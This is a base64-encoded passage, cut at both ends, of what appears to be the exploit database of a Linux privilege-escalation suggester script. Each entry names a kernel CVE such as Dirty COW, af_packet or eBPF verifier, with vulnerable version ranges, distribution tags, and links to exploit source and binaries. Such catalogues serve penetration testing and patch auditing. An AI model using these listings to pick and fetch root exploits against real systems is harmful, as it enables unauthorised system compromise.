zLjEwClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vYmxvZy5pbmNsdWRlc2VjdXJpdHkuY29tLzIwMTQvMDMvZXhwbG9pdC1DVkUtMjAxNC0wMDM4LXgzMi1yZWN2bW1zZy1rZXJuZWwtdnVsbmVyYWJsaXR5Lmh0bWwKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjMxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvdGltZW91dHB3bjY0CmV4cGxvaXQtZGI6IDMxMzQ2CkNvbW1lbnRzOiBDT05GSUdfWDg2X1gzMiBuZWVkcyB0byBiZSBlbmFibGVkCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTQtMDAzOF0ke3R4dHJzdH0gdGltZW91dHB3biAyClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjQuMCx2ZXI8PTMuMTMuMSxDT05GSUdfWDg2X1gzMj15ClRhZ3M6IHVidW50dT0oMTMuMDR8MTMuMTApe2tlcm5lbDozLig4fDExKS4wLSgxMnwxNXwxOSktZ2VuZXJpY30KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly9ibG9nLmluY2x1ZGVzZWN1cml0eS5jb20vMjAxNC8wMy9leHBsb2l0LUNWRS0yMDE0LTAwMzgteDMyLXJlY3ZtbXNnLWtlcm5lbC12dWxuZXJhYmxpdHkuaHRtbApleHBsb2l0LWRiOiAzMTM0NwpDb21tZW50czogQ09ORklHX1g4Nl9YMzIgbmVlZHMgdG8gYmUgZW5hYmxlZApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE0LTAxOTZdJHt0eHRyc3R9IHJhd21vZGVQVFkKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4zMSx2ZXI8PTMuMTQuMwpUYWdzOgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL2Jsb2cuaW5jbHVkZXNlY3VyaXR5LmNvbS8yMDE0LzA2L2V4cGxvaXQtd2Fsa3Rocm91Z2gtY3ZlLTIwMTQtMDE5Ni1wdHkta2VybmVsLXJhY2UtY29uZGl0aW9uLmh0bWwKZXhwbG9pdC1kYjogMzM1MTYKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNC0yODUxXSR7dHh0cnN0fSB1c2UtYWZ0ZXItZnJlZSBpbiBwaW5nX2luaXRfc29jaygpICR7YmxkYmx1fShEb1MpJHt0eHRyc3R9ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjAuMSx2ZXI8PTMuMTQKVGFnczogClJhbms6IDAKYW5hbHlzaXMtdXJsOiBodHRwczovL2N5c2VjbGFicy5jb20vcGFnZT9uPTAyMDEyMDE2CmV4cGxvaXQtZGI6IDMyOTI2CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTQtNDAxNF0ke3R4dHJzdH0gaW5vZGVfY2FwYWJsZQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4wLjEsdmVyPD0zLjEzClRhZ3M6IHVidW50dT0xMi4wNApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTQvMDYvMTAvNApleHBsb2l0LWRiOiAzMzgyNApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE0LTQ2OTldJHt0eHRyc3R9IHB0cmFjZS9zeXNyZXQKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTMuMC4xLHZlcjw9My44ClRhZ3M6IHVidW50dT0xMi4wNApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTQvMDcvMDgvMTYKZXhwbG9pdC1kYjogMzQxMzQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNC00OTQzXSR7dHh0cnN0fSBQUFBvTDJUUCAke2JsZGJsdX0oRG9TKSR7dHh0cnN0fQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4yLHZlcjw9My4xNS42ClRhZ3M6IApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9jeXNlY2xhYnMuY29tL3BhZ2U/bj0wMTEwMjAxNQpleHBsb2l0LWRiOiAzNjI2NwpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE0LTUyMDddJHt0eHRyc3R9IGZ1c2Vfc3VpZApSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4wLjEsdmVyPD0zLjE2LjEKVGFnczogClJhbms6IDEKZXhwbG9pdC1kYjogMzQ5MjMKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS05MzIyXSR7dHh0cnN0fSBCYWRJUkVUClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjAuMSx2ZXI8My4xNy41LHg4Nl82NApUYWdzOiBSSEVMPD03LGZlZG9yYT0yMApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL2xhYnMuYnJvbWl1bS5jb20vMjAxNS8wMi8wMi9leHBsb2l0aW5nLWJhZGlyZXQtdnVsbmVyYWJpbGl0eS1jdmUtMjAxNC05MzIyLWxpbnV4LWtlcm5lbC1wcml2aWxlZ2UtZXNjYWxhdGlvbi8Kc3JjLXVybDogaHR0cDovL3NpdGUucGkzLmNvbS5wbC9leHAvcF9jdmUtMjAxNC05MzIyLnRhci5negpleHBsb2l0LWRiOgphdXRob3I6IFJhZmFsICduM3JnYWwnIFdvanRjenVrICYgQWRhbSAncGkzJyBaYWJyb2NraQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE1LTMyOTBdJHt0eHRyc3R9IGVzcGZpeDY0X05NSQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4xMyx2ZXI8NC4xLjYseDg2XzY0ClRhZ3M6IApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTUvMDgvMDQvOApleHBsb2l0LWRiOiAzNzcyMgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W04vQV0ke3R4dHJzdH0gYmx1ZXRvb3RoClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPD0yLjYuMTEKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiA0NzU2CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTUtMTMyOF0ke3R4dHJzdH0gb3ZlcmxheWZzClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjEzLjAsdmVyPD0zLjE5LjAKVGFnczogdWJ1bnR1PSgxMi4wNHwxNC4wNCl7a2VybmVsOjMuMTMuMC0oMnwzfDR8NSkqLWdlbmVyaWN9LHVidW50dT0oMTQuMTB8MTUuMDQpe2tlcm5lbDozLigxM3wxNikuMC0qLWdlbmVyaWN9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vc2VjbGlzdHMub3JnL29zcy1zZWMvMjAxNS9xMi83MTcKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjMxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvb2ZzXzMyCmJpbi11cmw6IGh0dHBzOi8vd2ViLmFyY2hpdmUub3JnL3dlYi8yMDE2MDYwMjE5MjYzMS9odHRwczovL3d3dy5rZXJuZWwtZXhwbG9pdHMuY29tL21lZGlhL29mc182NApleHBsb2l0LWRiOiAzNzI5MgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE1LTg2NjBdJHt0eHRyc3R9IG92ZXJsYXlmcyAob3ZsX3NldGF0dHIpClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjAuMCx2ZXI8PTQuMy4zClRhZ3M6ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vd3d3LmhhbGZkb2cubmV0L1NlY3VyaXR5LzIwMTUvVXNlck5hbWVzcGFjZU92ZXJsYXlmc1NldHVpZFdyaXRlRXhlYy8KZXhwbG9pdC1kYjogMzkyMzAKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS04NjYwXSR7dHh0cnN0fSBvdmVybGF5ZnMgKG92bF9zZXRhdHRyKQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4wLjAsdmVyPD00LjMuMwpUYWdzOiB1YnVudHU9KDE0LjA0fDE1LjEwKXtrZXJuZWw6NC4yLjAtKDE4fDE5fDIwfDIxfDIyKS1nZW5lcmljfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3d3dy5oYWxmZG9nLm5ldC9TZWN1cml0eS8yMDE1L1VzZXJOYW1lc3BhY2VPdmVybGF5ZnNTZXR1aWRXcml0ZUV4ZWMvCmV4cGxvaXQtZGI6IDM5MTY2CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTYtMDcyOF0ke3R4dHJzdH0ga2V5cmluZwpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4xMCx2ZXI8NC40LjEKVGFnczoKUmFuazogMAphbmFseXNpcy11cmw6IGh0dHA6Ly9wZXJjZXB0aW9uLXBvaW50LmlvLzIwMTYvMDEvMTQvYW5hbHlzaXMtYW5kLWV4cGxvaXRhdGlvbi1vZi1hLWxpbnV4LWtlcm5lbC12dWxuZXJhYmlsaXR5LWN2ZS0yMDE2LTA3MjgvCmV4cGxvaXQtZGI6IDQwMDAzCkNvbW1lbnRzOiBFeHBsb2l0IHRha2VzIGFib3V0IH4zMCBtaW51dGVzIHRvIHJ1bi4gRXhwbG9pdCBpcyBub3QgcmVsaWFibGUsIHNlZTogaHR0cHM6Ly9jeXNlY2xhYnMuY29tL2Jsb2cvY3ZlLTIwMTYtMDcyOC1wb2Mtbm90LXdvcmtpbmcKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNi0yMzg0XSR7dHh0cnN0fSB1c2ItbWlkaQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4wLjAsdmVyPD00LjQuOApUYWdzOiB1YnVudHU9MTQuMDQsZmVkb3JhPTIyClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3hhaXJ5LmdpdGh1Yi5pby9ibG9nLzIwMTYvY3ZlLTIwMTYtMjM4NApzcmMtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20veGFpcnkva2VybmVsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAxNi0yMzg0L3BvYy5jCmV4cGxvaXQtZGI6IDQxOTk5CkNvbW1lbnRzOiBSZXF1aXJlcyBhYmlsaXR5IHRvIHBsdWcgaW4gYSBtYWxpY2lvdXMgVVNCIGRldmljZSBhbmQgdG8gZXhlY3V0ZSBhIG1hbGljaW91cyBiaW5hcnkgYXMgYSBub24tcHJpdmlsZWdlZCB1c2VyCmF1dGhvcjogQW5kcmV5ICd4YWlyeScgS29ub3ZhbG92CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTYtNDk5N10ke3R4dHJzdH0gdGFyZ2V0X29mZnNldApSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49NC40LjAsdmVyPD00LjQuMCxjbWQ6Z3JlcCAtcWkgaXBfdGFibGVzIC9wcm9jL21vZHVsZXMKVGFnczogdWJ1bnR1PTE2LjA0e2tlcm5lbDo0LjQuMC0yMS1nZW5lcmljfQpSYW5rOiAxCnNyYy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9vZmZlbnNpdmUtc2VjdXJpdHkvZXhwbG9pdC1kYXRhYmFzZS1iaW4tc3Bsb2l0cy9yYXcvbWFzdGVyL2Jpbi1zcGxvaXRzLzQwMDUzLnppcApDb21tZW50czogaXBfdGFibGVzLmtvIG5lZWRzIHRvIGJlIGxvYWRlZApleHBsb2l0LWRiOiA0MDA0OQphdXRob3I6IFZpdGFseSAndm5paycgTmlrb2xlbmtvCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTYtNDU1N10ke3R4dHJzdH0gZG91YmxlLWZkcHV0KCkKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTQuNCx2ZXI8NC41LjUsQ09ORklHX0JQRl9TWVNDQUxMPXksc3lzY3RsOmtlcm5lbC51bnByaXZpbGVnZWRfYnBmX2Rpc2FibGVkIT0xClRhZ3M6IHVidW50dT0xNi4wNHtrZXJuZWw6NC40LjAtMjEtZ2VuZXJpY30KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vYnVncy5jaHJvbWl1bS5vcmcvcC9wcm9qZWN0LXplcm8vaXNzdWVzL2RldGFpbD9pZD04MDgKc3JjLXVybDogaHR0cHM6Ly9naXRodWIuY29tL29mZmVuc2l2ZS1zZWN1cml0eS9leHBsb2l0LWRhdGFiYXNlLWJpbi1zcGxvaXRzL3Jhdy9tYXN0ZXIvYmluLXNwbG9pdHMvMzk3NzIuemlwCkNvbW1lbnRzOiBDT05GSUdfQlBGX1NZU0NBTEwgbmVlZHMgdG8gYmUgc2V0ICYmIGtlcm5lbC51bnByaXZpbGVnZWRfYnBmX2Rpc2FibGVkICE9IDEKZXhwbG9pdC1kYjogNDA3NTkKYXV0aG9yOiBKYW5uIEhvcm4KRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNi01MTk1XSR7dHh0cnN0fSBkaXJ0eWNvdwpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjIyLHZlcjw9NC44LjMKVGFnczogZGViaWFuPTd8OCxSSEVMPTV7a2VybmVsOjIuNi4oMTh8MjR8MzMpLSp9LFJIRUw9NntrZXJuZWw6Mi42LjMyLSp8My4oMHwyfDZ8OHwxMCkuKnwyLjYuMzMuOS1ydDMxfSxSSEVMPTd7a2VybmVsOjMuMTAuMC0qfDQuMi4wLTAuMjEuZWw3fSx1YnVudHU9MTYuMDR8MTQuMDR8MTIuMDQKUmFuazogNAphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9kaXJ0eWNvdy9kaXJ0eWNvdy5naXRodWIuaW8vd2lraS9WdWxuZXJhYmlsaXR5RGV0YWlscwpDb21tZW50czogRm9yIFJIRUwvQ2VudE9TIHNlZSBleGFjdCB2dWxuZXJhYmxlIHZlcnNpb25zIGhlcmU6IGh0dHBzOi8vYWNjZXNzLnJlZGhhdC5jb20vc2l0ZXMvZGVmYXVsdC9maWxlcy9yaC1jdmUtMjAxNi01MTk1XzUuc2gKZXhwbG9pdC1kYjogNDA2MTEKYXV0aG9yOiBQaGlsIE9lc3RlcgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE2LTUxOTVdJHt0eHRyc3R9IGRpcnR5Y293IDIKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4yMix2ZXI8PTQuOC4zClRhZ3M6IGRlYmlhbj03fDgsUkhFTD01fDZ8Nyx1YnVudHU9MTQuMDR8MTIuMDQsdWJ1bnR1PTEwLjA0e2tlcm5lbDoyLjYuMzItMjEtZ2VuZXJpY30sdWJ1bnR1PTE2LjA0e2tlcm5lbDo0LjQuMC0yMS1nZW5lcmljfQpSYW5rOiA0CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL2RpcnR5Y293L2RpcnR5Y293LmdpdGh1Yi5pby93aWtpL1Z1bG5lcmFiaWxpdHlEZXRhaWxzCmV4dC11cmw6IGh0dHBzOi8vd3d3LmV4cGxvaXQtZGIuY29tL2Rvd25sb2FkLzQwODQ3CkNvbW1lbnRzOiBGb3IgUkhFTC9DZW50T1Mgc2VlIGV4YWN0IHZ1bG5lcmFibGUgdmVyc2lvbnMgaGVyZTogaHR0cHM6Ly9hY2Nlc3MucmVkaGF0LmNvbS9zaXRlcy9kZWZhdWx0L2ZpbGVzL3JoLWN2ZS0yMDE2LTUxOTVfNS5zaApleHBsb2l0LWRiOiA0MDgzOQphdXRob3I6IEZpcmVGYXJ0IChhdXRob3Igb2YgZXhwbG9pdCBhdCBFREIgNDA4MzkpOyBHYWJyaWVsZSBCb25hY2luaSAoYXV0aG9yIG9mIGV4cGxvaXQgYXQgJ2V4dC11cmwnKQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE2LTg2NTVdJHt0eHRyc3R9IGNob2NvYm9fcm9vdApSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49NC40LjAsdmVyPDQuOSxDT05GSUdfVVNFUl9OUz15LHN5c2N0bDprZXJuZWwudW5wcml2aWxlZ2VkX3VzZXJuc19jbG9uZT09MQpUYWdzOiB1YnVudHU9KDE0LjA0fDE2LjA0KXtrZXJuZWw6NC40LjAtKDIxfDIyfDI0fDI4fDMxfDM0fDM2fDM4fDQyfDQzfDQ1fDQ3fDUxKS1nZW5lcmljfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTYvMTIvMDYvMQpDb21tZW50czogQ0FQX05FVF9SQVcgY2FwYWJpbGl0eSBpcyBuZWVkZWQgT1IgQ09ORklHX1VTRVJfTlM9eSBuZWVkcyB0byBiZSBlbmFibGVkCmJpbi11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9yYXBpZDcvbWV0YXNwbG9pdC1mcmFtZXdvcmsvbWFzdGVyL2RhdGEvZXhwbG9pdHMvQ1ZFLTIwMTYtODY1NS9jaG9jb2JvX3Jvb3QKZXhwbG9pdC1kYjogNDA4NzEKYXV0aG9yOiByZWJlbApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE2LTk3OTNdJHt0eHRyc3R9IFNPX3tTTkR8UkNWfUJVRkZPUkNFClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjExLHZlcjw0LjguMTQsQ09ORklHX1VTRVJfTlM9eSxzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF91c2VybnNfY2xvbmU9PTEKVGFnczoKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS94YWlyeS9rZXJuZWwtZXhwbG9pdHMvdHJlZS9tYXN0ZXIvQ1ZFLTIwMTYtOTc5MwpzcmMtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20veGFpcnkva2VybmVsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAxNi05NzkzL3BvYy5jCkNvbW1lbnRzOiBDQVBfTkVUX0FETUlOIGNhcHMgT1IgQ09ORklHX1VTRVJfTlM9eSBuZWVkZWQuIE5vIFNNRVAvU01BUC9LQVNMUiBieXBhc3MgaW5jbHVkZWQuIFRlc3RlZCBpbiBRRU1VIG9ubHkKZXhwbG9pdC1kYjogNDE5OTUKYXV0aG9yOiBBbmRyZXkgJ3hhaXJ5JyBLb25vdmFsb3YKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNy02MDc0XSR7dHh0cnN0fSBkY2NwClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTgsdmVyPD00LjkuMTEsQ09ORklHX0lQX0RDQ1A9W215XQpUYWdzOiB1YnVudHU9KDE0LjA0fDE2LjA0KXtrZXJuZWw6NC40LjAtNjItZ2VuZXJpY30KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly93d3cub3BlbndhbGwuY29tL2xpc3RzL29zcy1zZWN1cml0eS8yMDE3LzAyLzIyLzMKQ29tbWVudHM6IFJlcXVpcmVzIEtlcm5lbCBiZSBidWlsdCB3aXRoIENPTkZJR19JUF9EQ0NQIGVuYWJsZWQuIEluY2x1ZGVzIHBhcnRpYWwgU01FUC9TTUFQIGJ5cGFzcwpleHBsb2l0LWRiOiA0MTQ1OAphdXRob3I6IEFuZHJleSAneGFpcnknIEtvbm92YWxvdgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE3LTczMDhdJHt0eHRyc3R9IGFmX3BhY2tldApSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4yLHZlcjw9NC4xMC42LENPTkZJR19VU0VSX05TPXksc3lzY3RsOmtlcm5lbC51bnByaXZpbGVnZWRfdXNlcm5zX2Nsb25lPT0xClRhZ3M6IHVidW50dT0xNi4wNHtrZXJuZWw6NC44LjAtKDM0fDM2fDM5fDQxfDQyfDQ0fDQ1KS1nZW5lcmljfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9nb29nbGVwcm9qZWN0emVyby5ibG9nc3BvdC5jb20vMjAxNy8wNS9leHBsb2l0aW5nLWxpbnV4LWtlcm5lbC12aWEtcGFja2V0Lmh0bWwKc3JjLXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3hhaXJ5L2tlcm5lbC1leHBsb2l0cy9tYXN0ZXIvQ1ZFLTIwMTctNzMwOC9wb2MuYwpleHQtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vYmNvbGVzL2tlcm5lbC1leHBsb2l0cy9tYXN0ZXIvQ1ZFLTIwMTctNzMwOC9wb2MuYwpDb21tZW50czogQ0FQX05FVF9SQVcgY2FwIG9yIENPTkZJR19VU0VSX05TPXkgbmVlZGVkLiBNb2RpZmllZCB2ZXJzaW9uIGF0ICdleHQtdXJsJyBhZGRzIHN1cHBvcnQgZm9yIGFkZGl0aW9uYWwga2VybmVscwpiaW4tdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vcmFwaWQ3L21ldGFzcGxvaXQtZnJhbWV3b3JrL21hc3Rlci9kYXRhL2V4cGxvaXRzL2N2ZS0yMDE3LTczMDgvZXhwbG9pdApleHBsb2l0LWRiOiA0MTk5NAphdXRob3I6IEFuZHJleSAneGFpcnknIEtvbm92YWxvdiAob3JnaW5hbCBleHBsb2l0IGF1dGhvcik7IEJyZW5kYW4gQ29sZXMgKGF1dGhvciBvZiBleHBsb2l0IHVwZGF0ZSBhdCAnZXh0LXVybCcpCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTctMTY5OTVdJHt0eHRyc3R9IGVCUEZfdmVyaWZpZXIKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTQuNCx2ZXI8PTQuMTQuOCxDT05GSUdfQlBGX1NZU0NBTEw9eSxzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF9icGZfZGlzYWJsZWQhPTEKVGFnczogZGViaWFuPTkuMHtrZXJuZWw6NC45LjAtMy1hbWQ2NH0sZmVkb3JhPTI1fDI2fDI3LHVidW50dT0xNC4wNHtrZXJuZWw6NC40LjAtODktZ2VuZXJpY30sdWJ1bnR1PSgxNi4wNHwxNy4wNCl7a2VybmVsOjQuKDh8MTApLjAtKDE5fDI4fDQ1KS1nZW5lcmljfQpSYW5rOiA1CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9yaWNrbGFyYWJlZS5ibG9nc3BvdC5jb20vMjAxOC8wNy9lYnBmLWFuZC1hbmFseXNpcy1vZi1nZXQtcmVrdC1saW51eC5odG1sCkNvbW1lbnRzOiBDT05GSUdfQlBGX1NZU0NBTEwgbmVlZHMgdG8gYmUgc2V0ICYmIGtlcm5lbC51bnByaXZpbGVnZWRfYnBmX2Rpc2FibGVkICE9IDEKYmluLXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3JhcGlkNy9tZXRhc3Bsb2l0LWZyYW1ld29yay9tYXN0ZXIvZGF0YS9leHBsb2l0cy9jdmUtMjAxNy0xNjk5NS9leHBsb2l0Lm91dApleHBsb2l0LWRiOiA0NTAxMAphdXRob3I6IFJpY2sgTGFyYWJlZQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE3LTEwMDAxMTJdJHt0eHRyc3R9IE5FVElGX0ZfVUZPClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj00LjQsdmVyPD00LjEzLENPTkZJR19VU0VSX05TPXksc3lzY3RsOmtlcm5lbC51bnByaXZpbGVnZWRfdXNlcm5zX2Nsb25lPT0xClRhZ3M6IHVidW50dT0xNC4wNHtrZXJuZWw6NC40LjAtKn0sdWJ1bnR1PTE2LjA0e2tlcm5lbDo0LjguMC0qfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTcvMDgvMTMvMQpzcmMtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20veGFpcnkva2VybmVsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAxNy0xMDAwMTEyL3BvYy5jCmV4dC11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9iY29sZXMva2VybmVsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAxNy0xMDAwMTEyL3BvYy5jCkNvbW1lbnRzOiBDQVBfTkVUX0FETUlOIGNhcCBvciBDT05GSUdfVVNFUl9OUz15IG5lZWRlZC4gU01FUC9LQVNMUiBieXBhc3MgaW5jbHVkZWQuIE1vZGlmaWVkIHZlcnNpb24gYXQgJ2V4dC11cmwnIGFkZHMgc3VwcG9ydCBmb3IgYWRkaXRpb25hbCBkaXN0cm9zL2tlcm5lbHMKYmluLXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3JhcGlkNy9tZXRhc3Bsb2l0LWZyYW1ld29yay9tYXN0ZXIvZGF0YS9leHBsb2l0cy9jdmUtMjAxNy0xMDAwMTEyL2V4cGxvaXQub3V0CmV4cGxvaXQtZGI6CmF1dGhvcjogQW5kcmV5ICd4YWlyeScgS29ub3ZhbG92IChvcmdpbmFsIGV4cGxvaXQgYXV0aG9yKTsgQnJlbmRhbiBDb2xlcyAoYXV0aG9yIG9mIGV4cGxvaXQgdXBkYXRlIGF0ICdleHQtdXJsJykKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNy0xMDAwMjUzXSR7dHh0cnN0fSBQSUVfc3RhY2tfY29ycnVwdGlvbgpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4yLHZlcjw9NC4xMyx4ODZfNjQKVGFnczogUkhFTD02LFJIRUw9N3trZXJuZWw6My4xMC4wLTUxNC4yMS4yfDMuMTAuMC01MTQuMjYuMX0KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAxNy8wOS8yNi9saW51eC1waWUtY3ZlLTIwMTctMTAwMDI1My9jdmUtMjAxNy0xMDAwMjUzLnR4dApzcmMtdXJsOiBodHRwczovL3d3dy5xdWFseXMuY29tLzIwMTcvMDkvMjYvbGludXgtcGllLWN2ZS0yMDE3LTEwMDAyNTMvY3ZlLTIwMTctMTAwMDI1My5jCmV4cGxvaXQtZGI6IDQyODg3CmF1dGhvcjogUXVhbHlzCkNvbW1lbnRzOgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE4LTUzMzNdJHt0eHRyc3R9IHJkc19hdG